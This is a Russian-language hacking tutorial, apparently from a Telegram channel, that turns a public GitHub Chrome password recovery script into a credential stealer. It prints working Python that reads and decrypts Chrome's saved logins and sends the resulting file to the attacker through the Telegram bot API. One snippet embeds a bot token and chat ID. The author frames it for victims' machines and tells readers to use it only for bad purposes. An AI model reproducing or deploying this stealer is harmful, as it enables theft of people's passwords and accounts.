GitHub - Твой проводник в мир вирусологии. {Годный GitHub}
https://tele.click/darkside_team
Привет, хацкер, сегодня я расскажу тебе о том, как GitHub помогает хакерам в вирусных атаках...
Приведу пример, когда хакеры брали готовые инструменты с GitHub'a и проводили атаки:
Для некоторых целей атаки были полностью “безфайловые”, в итоге доставлявшие Meterpreter-сессию непосредственно в память. В других случаях использовался инструмент для хищения паролей LaZagne Project или загружалась и выполнялась другая Python-малварь. После проведения дополнительного расследования мы идентифицировали контроллеры для разных протоколов, в том числе Cmd, Lazagne, Mimikatz и так далее», — объясняют эксперты Morphisec.
Полный отчёт о таких роде атак можно найти на xakep'e
Так в чём суть?
Хакеры использовали готовые инструменты для атаки, все они были в публичном доступе. Сегодня я приведу в пример, как они сделали из публичного инструмента, предназначенного для восстановления паролей, вирус который отправляет данные злоумышленнику.
Поехали!
В поиске GitHub'a нашёл этот репозиторий:
Когда вы запрашиваете Google Chrome для сохранения пароля на данном веб-сайте, он сохраняет его в файле "Login Data" (файл базы данных sqlite).
Для безопасного хранения пароля пароль шифруется с использованием учетных данных окна пользователя.
Эта программа расшифровывает пароли в машине пользователя, а затем копирует их в тот же каталог, в котором присутствует программа.
Поэтому, если исполняемая версия этой программы подключена к любому компьютеру под управлением windows и Google Chrome, запуск этой программы скопирует все сохраненные пароли Chrome в текстовый файл. ( Admin: Кодер реализовал функцию сохранения паролей криво, но мы это поправим:) )
Скачиваем архив, смотрим код:
Исходя из кода, можем выявить работу этой утилиты.
- Сначала проводится подключение к бд Login Data (он содержит пароли)
- Далее в колонке logins он выбирает и извлекает таблицы: action_url, username_value, password_value
- Затем создаёт файл с именем file.txt и записывает в него логины и пароли
Тут всё просто, как 2х2.
Запустим скрипт иии...
Пароли не сохранились... Видимо кодер не проверял свой код, но ничего, сейчас всё подправим.
Всё дело в том, что пароли то он записал, а соединение с файлом закрыть забыл, лечится эта ошибка одной строкой:
fp.close()
Запускаем иии...
Скрипт работает, но наш кодер сделал лог максимально неудобным
Ладно, и эту ошибку мы поправим, для этого просто в некоторых местах убираем '/n' (она отвечает за начало новой строки)
Теперь лог приобрёл человеческий вид :)
fp.write('\nThe website: '+ result[0] + '\n') fp.write('The Username: '+ result[1] + '\n') fp.write('The password: '+ str(password) + '\n')
Лог сохранён, приведён в порядок, можно и отправить (не будем же мы лично запускать стиллер на ПК жертвы, а потом копировать текстовик на USB?))
Отправка будет моим любимым способом - в телеграм.
Для этого нам нужно:
- Импортировать библиотеку requests, для POST запроса (для отправки)
- Добавить две переменные отвечающие за токен бота, и ID чата.
- Объявить переменную для POST запроса
- Ну и сделать запрос
# Переменные chat_id = '439184350' bot_token = '707234715:AAG7I_RBjNt93HWlXAmWML0LwkRGxqNq8Ac' # Переменная для POST запроса files = {'document': open('file.txt', 'rb')} # Сам запрос requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id + "&caption=NEW LOG! ⚡" + "\nCoded by @DARKSIDE_TEAM", files=files)
Теперь код выглядит так:
Ну и протестируем:
Весь код:
import sqlite3 import win32crypt import os import requests from os import getenv chat_id = '' bot_token = '' conn = sqlite3.connect(getenv("APPDATA")+r"\..\Local\Google\Chrome\User Data\Default\Login Data") cursor = conn.cursor() cursor.execute('Select action_url, username_value, password_value FROM logins') fp = open(r"file.txt", "a+") fp.write("Chrome Saved Passwords | Dark $ide - @darkside_team\n") for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2],None,None,None,0)[1] if password: fp.write('\nThe website: '+result[0] + '\n') fp.write('The Username: '+result[1] + '\n') fp.write('The password: '+ str(password) + '\n') fp.close() files = {'document': open('file.txt', 'rb')} requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id + "&caption=NEW LOG! ⚡" + "\nCoded by @DARKSIDE_TEAM", files=files) ''' DARK $IDE | @DARKSIDE_TEAM '''
Использовать исключительно в плохих целях!
Заключение.
Сегодня мы рассмотрели способ, который позволяет сделать из программы показывающей пароли, сделать стиллер с отправкой лога в телегу. На этом статья подходит к концу, удачи тебе, хацкер